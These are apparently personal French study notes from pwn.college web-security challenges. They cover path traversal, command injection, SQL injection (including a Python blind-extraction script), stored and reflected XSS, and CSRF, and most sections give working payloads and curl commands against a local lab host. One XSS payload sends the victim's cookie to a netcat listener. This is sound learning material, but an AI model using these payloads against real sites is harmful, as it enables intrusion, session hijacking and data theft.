Notes personnelles — Vulnérabilités Web¶
Fiches de révision issues des challenges pwn.college (path traversal, injections, XSS, CSRF…), rédigées au fil de la résolution de chaque niveau : principe de la faille, code vulnérable, payload et commande de résolution.
Sommaire¶
- 1. Path Traversal 1
- 2. Path Traversal 2
- 3. Command Injection 1 (CMDi-1)
- 4. Command Injection 2 (CMDi-2)
- 5. Command Injection 3 — quotes simples
- 6. Command Injection 4 — injection hors
ls - 7. Command Injection 5 — Blind CMDi
- 8. Command Injection 6 — filtrage contourné par newline
- 9. Authentication Bypass 1 & 2
- 10. SQLi 1 — Injection classique
- 11. SQLi 3 — UNION-based
- 12. SQLi 4 — table name randomisée
- 13. SQLi — Blind (Boolean-based)
- 14. XSS Stored — injection de balises HTML
- 15. XSS Stored — exécution de JavaScript
- 16. XSS Reflected — paramètre GET
- 17. XSS — Context Breaking (sortie de
<textarea>) - 18. XSS → CSRF — POST via
fetch() - 19. XSS Stored & Exfiltration de cookie
- 20. CSRF Level 1 — navigation GET forcée
- 21. CSRF — soumission de formulaire POST
- 22. CSRF → XSS chaînés
mindmap
root((Vulnérabilités Web))
Path Traversal
Encodage %2F
Contournement strip
Command Injection
Quotes simples
Blind CMDi
Context breaking
SQL Injection
Classique
UNION-based
Boolean-based Blind
XSS
Stored
Exécution JS
Exfiltration cookie
CSRF
GET
POST
Double soumission
Auth Bypass
Cookie manipulation
1. Path Traversal 1¶
Principe — le serveur construit le chemin ainsi, sans aucune sanitization :
On peut donc remonter dans l'arborescence avec ../.
Problème — si on met ../ en clair, le client (curl) ou le serveur normalise le chemin avant qu'il n'arrive à l'application. On reçoit donc une erreur 404.
Solution — encoder le / en %2F pour que le serveur reçoive vraiment les ../.
2. Path Traversal 2¶
Principe — le développeur a ajouté un filtre :
Cela enlève les . et / uniquement au début et à la fin de la chaîne.
Conséquence — ../../flag devient flag → plus de traversal apparent.
Solution — partir d'un dossier qui existe vraiment dans /challenge/files/ (ici fortunes/). Les ../ ne sont alors plus en tête de chaîne, donc ils ne sont pas strippés.
3. Command Injection 1 (CMDi-1)¶
Principe — le paramètre utilisateur est collé directement dans une commande shell :
Solution classique — utiliser le séparateur de commandes ; :
4. Command Injection 2 (CMDi-2)¶
Principe — le développeur filtre le ; :
Solution — utiliser le pipe | (vu dans le module Piping du Linux Luminarium).
Sur l'instance : route /activity, paramètre start.
Résultat — la commande devient ls -l / | cat /flag → le flag s'affiche dans la balise <pre>.
Flag obtenu : pwn.college{I7TgvdoLd2fUGJpHvbSkAYCitPE.QX0YTN2wyN2MDM5EzW}
5. Command Injection 3 — quotes simples¶
Principe — le développeur a mis l'input utilisateur entre simples quotes :
Conséquence : les caractères spéciaux (;, |, $, etc.) sont traités comme du texte normal tant que la quote n'est pas fermée.
Problème — impossible d'injecter directement ;cat /flag ou |cat /flag, tout est protégé par les '.
Solution — fermer la quote nous-mêmes, injecter la commande, puis gérer la quote qui reste à la fin (ajoutée par le code).
Payload classique :
Sur l'instance : route /problem, paramètre topdir.
# 1. Lancer le serveur
/challenge/server
# 2. Injection
curl "http://challenge.localhost:80/problem?topdir=/';cat+/flag'"
Ce que le shell exécute vraiment :
'→ ferme la quote ouverte par le développeur;cat /flag→ nouvelle commande'→ absorbe la quote finale ajoutée par le code
→ le flag s'affiche dans le <pre>.
Astuce : il y a toujours une ' à la fin de la commande générée par le code — à prendre en compte dans le payload.
6. Command Injection 4 — injection hors ls¶
Principe — l'injection n'est plus dans un ls, mais dans une autre partie de la commande :
Sur l'instance : route /event, paramètre tzid.
Solution :
7. Command Injection 5 — Blind CMDi¶
Principe — le serveur exécute une commande (touch {arg}) mais ne renvoie pas la sortie de la commande injectée. Il faut donc exfiltrer le flag autrement (écriture dans un fichier).
Sur l'instance : route /dare, paramètre path, commande touch {arg}.
Solution :
# 1. Lancer le serveur
/challenge/server
# 2. Injecter pour écrire le flag dans un fichier
curl "http://challenge.localhost:80/dare?path=;cat+/flag+>/tmp/flag.txt"
# 3. Lire le fichier
cat /tmp/flag.txt
8. Command Injection 6 — filtrage contourné par newline¶
Principe — le développeur filtre presque tous les caractères dangereux :
arg.replace(";", "").replace("&", "").replace("|", "") \
.replace(">", "").replace("<", "").replace("(", "") \
.replace(")", "").replace("`", "").replace("$", "")
Il oublie le newline (\n / %0a).
Sur l'instance : route /task, paramètre filepath.
Solution :
Ce que le shell exécute :
Le \n agit comme un séparateur de commandes → le flag s'affiche.
9. Authentication Bypass 1 & 2¶
Bypass 1 — paramètre d'URL non vérifié¶
Le serveur fait confiance au paramètre d'URL session_user sans vérifier s'il provient réellement d'une authentification réussie.
Bypass 2 — cookie non vérifié côté serveur¶
Le serveur stocke maintenant la session dans un cookie au lieu d'un paramètre d'URL :
response.set_cookie('session_user', username)
# ...
username = flask.request.cookies.get("session_user")
if username == "admin":
afficher le flag
Le cookie étant entièrement contrôlé côté client et jamais signé/vérifié, il suffit de le forger :
10. SQLi 1 — Injection classique¶
Contexte¶
- Cible : application Flask lisant une base SQLite.
- Objectif : s'authentifier en tant qu'
adminpour récupérer le contenu de/flag. - Particularité : les sessions utilisateur sont gérées via des cookies chiffrés (impossibles à modifier directement) — l'authentification doit donc être validée par la base de données elle-même.
Contrairement au niveau précédent, les entrées utilisateur sont injectées entre guillemets simples ('), et la session enregistre directement la valeur brute passée dans username :
L'affichage du flag nécessite une correspondance exacte de la session :
Piège : injecter sur userid plutôt que sur account-password¶
- Si l'injection se fait sur
userid(ex:admin'--) : la requête SQL réussit et la base retourne l'utilisateur, maisflask.session["user"]enregistre"admin'--". Le checkusername == "admin"échoue. - La bonne stratégie : garder
userid = admin(pour que la session stocke exactement"admin") et injecter le payload dans le champaccount-password.
Construction du payload¶
En envoyant userid=admin et account-password=' OR '1'='1, la requête SQL générée devient :
Évaluation par le moteur SQL :
ANDest prioritaire surOR.- SQLite évalue
(username = 'admin' AND password = '')→ Faux. - Il évalue ensuite
FALSE OR ('1' = '1')→ Vrai. - La ligne de l'utilisateur
adminest retournée par la base de données.
Commandes de résolution¶
# 1. Envoi de l'injection sur le champ mot de passe
curl -X POST "http://challenge.localhost/logon" \
-H "Host: challenge.localhost" \
-d "userid=admin" \
--data-urlencode "account-password=' OR '1'='1" \
-c cookies.txt -L
# 2. Récupération du flag
curl "http://challenge.localhost/logon" \
-H "Host: challenge.localhost" \
-b cookies.txt
11. SQLi 3 — UNION-based¶
Contexte¶
L'application recherche un utilisateur et affiche le résultat directement sur la page :
- Le flag est stocké dans la colonne
passwordde la tableusers, pour le compteadmin. - Particularité : l'application n'affiche que les valeurs renvoyées par la colonne
usernamedu résultat. - Problème : une simple clause
OR 1=1afficherait les noms d'utilisateurs, mais pas leurs mots de passe.
Principe de l'injection UNION¶
L'opérateur SQL UNION permet de combiner les résultats de deux requêtes SELECT distinctes en un seul jeu de données. Règles :
- Les deux requêtes doivent retourner le même nombre de colonnes.
- Les types de données des colonnes correspondantes doivent être compatibles.
Comme la requête initiale sélectionne 1 seule colonne (username), la deuxième requête du UNION doit également sélectionner 1 seule colonne (password).
Construction du payload¶
Entrée : " UNION SELECT password FROM users --
Requête générée :
Décomposition : " ferme le guillemet double entourant la variable query ; UNION SELECT password FROM users ajoute les résultats de la colonne password au résultat final affiché ; -- commente le reste de la requête originale pour éviter une erreur de syntaxe SQL.
Commande de résolution¶
curl "http://challenge.localhost/?query=%22%20UNION%20SELECT%20password%20FROM%20users%20--" \
-H "Host: challenge.localhost"
12. SQLi 4 — table name randomisée¶
Étape 1 — extraire le nom de table randomisé¶
SQLite maintient automatiquement une table système sqlite_master (ou sqlite_schema) contenant les métadonnées de toutes les tables. Les colonnes tbl_name ou sql stockent les noms de table et leurs instructions de création. En réutilisant la technique UNION SELECT du niveau précédent :
curl "http://challenge.localhost/?query=%22%20UNION%20SELECT%20tbl_name%20FROM%20sqlite_master%20--" \
-H "Host: challenge.localhost"
La sortie dans la balise <pre> révèle le nom de table randomisé (ex : users_8589934592).
Étape 2 — extraire le flag depuis la table découverte¶
Une fois le nom de table obtenu (ex : users_12345678), on injecte une seconde requête UNION SELECT ciblant cette table pour extraire la colonne password :
curl "http://challenge.localhost/?query=%22%20UNION%20SELECT%20password%20FROM%20users_12345678%20--" \
-H "Host: challenge.localhost"
(remplacer users_12345678 par le nom de table réellement retourné à l'étape 1).
13. SQLi — Blind (Boolean-based)¶
Contexte¶
- Contrainte : l'application ne renvoie aucun résultat SQL à l'écran.
- Différence de comportement :
- Connexion réussie (utilisateur trouvé) → code HTTP 302 (Redirection)
- Connexion échouée (aucun utilisateur) → code HTTP 403 (Forbidden)
- Objectif : extraire le flag (mot de passe de
admin) caractère par caractère en posant des questions Vrai/Faux à la base de données.
Principe du Boolean-based Blind SQLi¶
On reconstruit une requête dont le résultat dépend d'une condition booléenne :
SELECT rowid, * FROM users WHERE username = 'admin' AND password = ''
OR (username='admin' AND substr(password, 1, 1)='p') --'
- Si l'hypothèse est VRAIE (le 1er caractère est bien
p) : la base renvoie la ligne de l'utilisateuradmin, le serveur répond 302. - Si l'hypothèse est FAUSSE : la base ne renvoie aucune ligne, le serveur répond 403.
Fonctions SQLite utilisées¶
SUBSTR(chaine, position, longueur)— extrait une sous-chaîne à partir d'un index basé sur 1 (ex :substr(password, 1, 1)extrait le premier caractère).LENGTH(chaine)— renvoie la longueur de la chaîne (utile pour connaître la taille exacte avant extraction).
Script d'automatisation¶
import requests
import string
url = "http://127.0.0.1/"
headers = {"Host": "challenge.localhost"}
charset = string.ascii_letters + string.digits + "_{}."
flag = ""
print("[+] Lancement de l'extraction par Blind SQL Injection...")
for pos in range(1, 100):
found_char = False
for char in charset:
payload = f"' OR (username='admin' AND substr(password,{pos},1)='{char}') --"
r = requests.post(
url, headers=headers,
data={"username": "admin", "password": payload},
allow_redirects=False,
)
if r.status_code == 302:
flag += char
print(f"[+] Caractère {pos} trouvé : {char} -> Flag : {flag}")
found_char = True
if char == "}":
print(f"\n[!] Flag complet extrait : {flag}")
exit(0)
break
if not found_char:
break
14. XSS Stored — injection de balises HTML¶
Contexte¶
- Changement de paradigme : contrairement aux injections SQL ou de commandes où la cible est le serveur web, l'XSS vise le navigateur du client/utilisateur (ici simulé par
/challenge/victim). - Mécanisme Stored XSS : l'attaquant injecte un contenu malveillant (HTML/JavaScript) qui est enregistré de manière permanente dans la base de données du serveur. Chaque utilisateur qui consulte la page reçoit ce contenu malveillant.
Vulnérabilité du code source¶
Dans /challenge/server :
# 1. Insertion brute en base de données (aucune désinfection)
db.execute("INSERT INTO posts VALUES (?)", [content])
# 2. Rendu HTML par concaténation directe sans échappement
for post in db.execute("SELECT content FROM posts").fetchall():
page += "<hr>" + post["content"] + "\n"
Le problème : l'application traite l'entrée utilisateur comme du code HTML valide au lieu de la convertir en texte brut (absence d'échappement des caractères spéciaux comme < et >).
Méthodologie d'exploitation¶
Condition de réussite : faire en sorte que le script victime voie 3 zones de texte (<input type="text">) lors de sa visite. L'état initial contient déjà 1 formulaire avec 1 champ :
Attaque : envoyer 2 posts supplémentaires contenant chacun une balise <input type='text'>.
Commandes de résolution¶
# 1. Lancement du serveur (si besoin)
/challenge/server &
# 2. Injection des 2 balises HTML via POST
curl -X POST "http://challenge.localhost/" \
-H "Host: challenge.localhost" \
-d "content=<input type='text'>"
curl -X POST "http://challenge.localhost/" \
-H "Host: challenge.localhost" \
-d "content=<input type='text'>"
# 3. Déclenchement du bot victime
/challenge/victim "http://challenge.localhost/"
15. XSS Stored — exécution de JavaScript¶
Contexte¶
Évolution par rapport au niveau précédent : au lieu d'injecter de simples balises de structure HTML (<input>), l'injection force l'exécution d'un script JavaScript côté client, via la balise <script>.
Vulnérabilité¶
Dans /challenge/server, l'application concatène directement le contenu soumis sans validation ni sanitisation :
for post in db.execute("SELECT content FROM posts").fetchall():
page += "<hr>" + post["content"] + "\n"
Le navigateur reçoit le bloc HTML suivant et exécute automatiquement le script :
Payload et exploitation¶
L'appel JavaScript alert() se déclenche lors du rendu du document HTML dans le navigateur de la victime (/challenge/victim).
Commandes de résolution¶
# 1. Injection du payload XSS
curl -X POST "http://challenge.localhost/" \
-H "Host: challenge.localhost" \
--data-urlencode "content=<script>alert('PWNED')</script>"
# 2. Déclenchement du bot victime
/challenge/victim "http://challenge.localhost/"
16. XSS Reflected — paramètre GET¶
Vulnérabilité¶
Dans /challenge/server :
@app.route("/", methods=["GET"])
def challenge_get():
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message: {flask.request.args.get("msg", "(none)")}
...
Le problème : l'application récupère la valeur du paramètre GET msg directement depuis l'URL et la concatène dans la réponse HTML sans aucun nettoyage ni échappement.
Méthodologie¶
- Payload brut :
<script>alert("PWNED")</script> - URL-encoding : les caractères spéciaux dans un paramètre GET doivent être encodés (
<→%3C,>→%3E, etc.) pour éviter les erreurs de parsing côté serveur. - URL forgée :
Commande de résolution¶
17. XSS — Context Breaking (sortie de <textarea>)¶
Problématique du contexte¶
En sécurité web, le contexte détermine comment le navigateur interprète les données injectées :
- Contexte HTML standard : les balises
<script>sont directement exécutées. - Contexte HTML restrictif (
<textarea>,<title>,<style>...) : tout ce qui se trouve à l'intérieur est traité comme du texte brut. Une balise<script>injectée à l'intérieur d'un<textarea>ne s'exécutera pas, car le navigateur la considère comme faisant partie de la valeur du champ.
Vulnérabilité du code source¶
Dans /challenge/server :
@app.route("/", methods=["GET"])
def challenge_get():
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
<form>
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
<input type=submit value="Make URL!">
</form>
</body></html>
"""
Le problème : l'entrée utilisateur est directement reflétée à l'intérieur des balises <textarea> et </textarea>.
Technique d'attaque : cassage de contexte¶
Pour exécuter du JavaScript, l'attaque se déroule en deux étapes :
- Fermer la balise parente pour sortir du contexte restrictif avec
</textarea>. - Injecter la charge malveillante immédiatement après.
Payload brut :
Structure HTML finale générée par le serveur :
(le navigateur ferme la zone de texte au premier </textarea> rencontré, puis exécute le script).
Commande de résolution¶
/challenge/victim "http://challenge.localhost/?msg=%3C/textarea%3E%3Cscript%3Ealert(%22PWNED%22)%3C/script%3E"
18. XSS → CSRF — POST via fetch()¶
Évolution du vecteur d'attaque¶
- GET vs POST : dans les applications web sécurisées, les actions modifiant l'état (création, mise à jour, suppression) doivent utiliser la méthode POST plutôt que GET, pour éviter l'exécution accidentelle ou la pré-mise en cache.
- Capacité de l'XSS : une fois le code JavaScript exécuté dans le navigateur de la victime, l'attaquant dispose des mêmes privilèges et accès réseau que l'utilisateur. L'API
fetch()permet d'effectuer tous les types de requêtes HTTP (GET, POST, PUT, DELETE).
Code source vulnérable¶
Dans /challenge/server :
@app.route("/publish", methods=["POST"])
def challenge_publish():
username = flask.session.get("username", None)
if not username:
flask.abort(403, "Log in first!")
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
return flask.redirect("/")
Le problème : l'endpoint /publish vérifie uniquement la présence de la session (username), mais n'exige aucun jeton anti-CSRF. Toute requête POST émise depuis le navigateur d'un utilisateur connecté est donc acceptée et exécutée.
Payload Fetch POST¶
Par défaut, fetch(url) envoie une requête GET. Pour une requête POST, on spécifie les options :
Déroulement complet de l'attaque¶
- Connexion : récupération d'une session valide pour le compte
hacker. - Injection & publication immédiate : soumission du brouillon avec
publish=onpour contourner le découpage à 12 caractères ([:12]). - Visite de la victime : quand le bot admin consulte la page d'accueil
/, le script s'exécute sous l'identité de l'administrateur. - Action forcée : le script effectue un
POST /publishavec la session de l'admin, publiant son brouillon contenant le flag. - Extraction : récupération du flag depuis la page d'accueil avec le cookie du compte
hacker.
Commandes de résolution¶
# 1. Authentification
curl -s -c cookies.txt -X POST "http://challenge.localhost/login" \
-H "Host: challenge.localhost" \
-d "username=hacker&password=1337"
# 2. Injection du payload POST avec publish=on
curl -s -b cookies.txt -X POST "http://challenge.localhost/draft" \
-H "Host: challenge.localhost" \
-d "content=<script>fetch('/publish', {method: 'POST'})</script>&publish=on"
# 3. Exécution par le bot admin
/challenge/victim "http://challenge.localhost/"
# 4. Lecture du flag (avec session authentifiée)
curl -s -b cookies.txt "http://challenge.localhost/" \
-H "Host: challenge.localhost" | grep -oE "pwn\.college\{[^}]+\}"
Le passage par --data-urlencode, associé au fetch() en POST, était la clé pour contourner les problèmes d'interprétation des caractères spéciaux par curl et la politique réseau du navigateur.
19. XSS Stored & Exfiltration de cookie¶
Analyse du payload gagnant¶
curl -s -b cookies.txt -X POST "http://challenge.localhost/draft" \
--data-urlencode 'content=<script>fetch("http://0.0.0.0:6969",{method:"POST",body:document.cookie});</script>' \
-d "publish=on"
- L'URL-encoding (
--data-urlencode) : c'est ce qui a débloqué la situation. Face à des guillemets, espaces et caractères spéciaux dans la chaîne<script>, Bash et le serveur Flask tronquaient ou altéraient le payload. En l'encodant proprement avant l'envoi, le code JavaScript arrive intact en base de données. 0.0.0.0vs127.0.0.1: dans certains environnements virtualisés / sous Firefox Selenium,127.0.0.1oulocalhostpeuvent être restreints par la Same-Origin Policy (SOP). Pointer vers l'interface0.0.0.0:6969(port non standard) écoute sur toutes les interfaces locales et atteint directement Netcat.- La méthode POST pour
fetch: envoyerdocument.cookiedans le corps de la requête (body) évite que le cookie soit rejeté ou découpé par les règles d'URL/query parameters d'une requête GET.
Anatomie de l'exfiltration via Netcat¶
Avec nc -lvnp 6969 à l'écoute :
- Le bot Selenium se connecte (
POST /login), recevant le cookieauth=admin|.QXygTN2wyN2MDM5EzW}. - Le bot arrive sur
/, exécutant le script XSS stocké. - Le navigateur exécute la requête asynchrone
fetchen arrière-plan vers le port 6969, en injectant le cookie dans le corps HTTP :
POST / HTTP/1.1
Host: 0.0.0.0:6969
Origin: http://challenge.localhost
auth=admin|.QXygTN2wyN2MDM5EzW}
Reconstitution du cookie et usurpation d'identité¶
Une fois le secret extrait, il suffit de rejouer la requête d'accès sous l'identité de l'administrateur :
curl -s "http://challenge.localhost/" \
-H "Host: challenge.localhost" \
-b "auth=admin|.QXygTN2wyN2MDM5EzW}" | grep -oE "pwn\.college\{[^}]+\}"
Le serveur Flask valide la session administrative et renvoie la page d'accueil contenant le flag complet : pwn.college{MRMFYOmxRWa_d5ESIYJ0NgRtzvC.QXygTN2wyN2MDM5EzW}.
20. CSRF Level 1 — navigation GET forcée¶
Objectif du challenge¶
Forcer l'administrateur du site (admin) à effectuer une action privilégiée — publier son brouillon secret contenant le flag via la route /publish — à son insu, lorsqu'il visite un site malveillant.
Éléments clés et vulnérabilités¶
- Absence de jeton anti-CSRF — la route
GET /publishexécute une action modifiant l'état (publication d'un post) sans demander de preuve d'intention (token CSRF, validation par mot de passe...). - Gestion des sessions et cookies — l'application s'appuie uniquement sur un cookie de session transmis automatiquement par le navigateur de la victime lors d'une navigation vers
challenge.localhost. - Comportement SOP / CORS vs navigation top-level — les requêtes
fetch()asynchrones depuishacker.localhostsont bloquées par les règles CORS du serveur (erreur 403 Forbidden). En revanche, les redirections de navigation pleine page (window.location.href) sont considérées comme des navigations de premier niveau et transmettent le cookie de session (statut 302 Found).
Étapes d'exploitation¶
1. Préparation du payload HTML (sur le serveur de l'attaquant), fichier index.html hébergé sur http://hacker.localhost:1337/ :
<!DOCTYPE html>
<html>
<body>
<script>
// Redirige immédiatement le navigateur de la victime vers l'endpoint vulnérable
window.location.href = "http://challenge.localhost/publish";
</script>
</body>
</html>
2. Démarrage du serveur et déclenchement de la victime :
# Servir le fichier malveillant
python3 -m http.server 1337 --bind 0.0.0.0 &
# Forcer l'admin (bot Selenium) à visiter le site
/challenge/victim "http://hacker.localhost:1337/"
3. Récupération du flag — une fois l'admin redirigé vers /publish, son brouillon est publié. Il suffit d'ouvrir une session utilisateur (hacker) pour lire la page d'accueil authentifiée :
# Se connecter pour obtenir un cookie de session
curl -s -c cookies.txt -X POST "http://challenge.localhost/login" \
-H "Host: challenge.localhost" \
-d "username=hacker&password=1337"
# Consulter l'accueil authentifié et extraire le flag
curl -s -b cookies.txt "http://challenge.localhost/" \
-H "Host: challenge.localhost" | grep -oE "pwn\.college\{[^}]+\}"
21. CSRF — soumission de formulaire POST¶
Analyse du payload¶
<!DOCTYPE html>
<html>
<body>
<form id="csrfForm" action="http://challenge.localhost/publish" method="POST">
<input type="hidden" name="publish" value="on">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
- Contournement de la Same-Origin Policy (SOP) : les requêtes réseau initiées en JavaScript asynchrone (
fetch,XHR) cross-origin bloquent la transmission automatique des cookies d'authentification ou sont rejetées par CORS. En revanche, la soumission d'un formulaire HTML (<form>) déclenche une navigation native du navigateur. - Transmission automatique des cookies : lors de cette soumission cross-origin, le navigateur joint automatiquement les cookies de session associés à la cible (
challenge.localhost), ce qui valide la requêtePOST /publishsous l'identité de l'administrateur. - L'auto-soumission (
submit()) : le court script JS force le navigateur du bot à soumettre le formulaire immédiatement au chargement de la page, sans interaction utilisateur.
Déroulement du journal des requêtes¶
- Le bot visite le site attaquant :
GET /(port 1337). - Le formulaire s'exécute automatiquement et envoie
POST /publishverschallenge.localhost. - L'application traite le brouillon avec le cookie de l'admin et renvoie un statut 302 Found.
- Le post contenant le flag devient public sur la plateforme.
- Connexion avec le compte
hackeret extraction du flag sur l'accueil authentifié.
22. CSRF → XSS chaînés¶
Le principe de cette dernière variante :
flowchart TD
A["hacker.localhost"] -->|"CSRF GET"| B["challenge.localhost/ephemeral?msg=<script>...</script>"]
B --> C["XSS exécutée sur challenge.localhost"]
C --> D["alert('PWNED')"]
D --> E["🏆 flag"]
Fichier index.html :
<!DOCTYPE html>
<html>
<body>
<script>
let script = "<scr" + "ipt>alert('PWNED')</scr" + "ipt>";
let url = "http://challenge.localhost/ephemeral?msg=" + encodeURIComponent(script);
window.location = url;
</script>
</body>
</html>
Le détail important : "<scr" + "ipt>" et "</scr" + "ipt>". Le hint officiel explique pourquoi — si l'on écrit directement </script> à l'intérieur du <script> de index.html, le navigateur peut considérer ce </script> comme la fermeture de son propre script, ce qui casse le payload avant même son envoi. Le découper en deux concaténations contourne ce problème.
Lancer le challenge :
/challenge/server &
python3 -m http.server 1337 --bind 0.0.0.0 &
/challenge/victim "http://hacker.localhost:1337/"
Sortie attendue :
Visiting http://challenge.localhost:80/
Logging in as admin...
Logged in!
Visiting the attacker's website...
Success!
Fiches alimentées au fil des modules pwn.college résolus — Command Injection, SQL Injection, XSS, CSRF.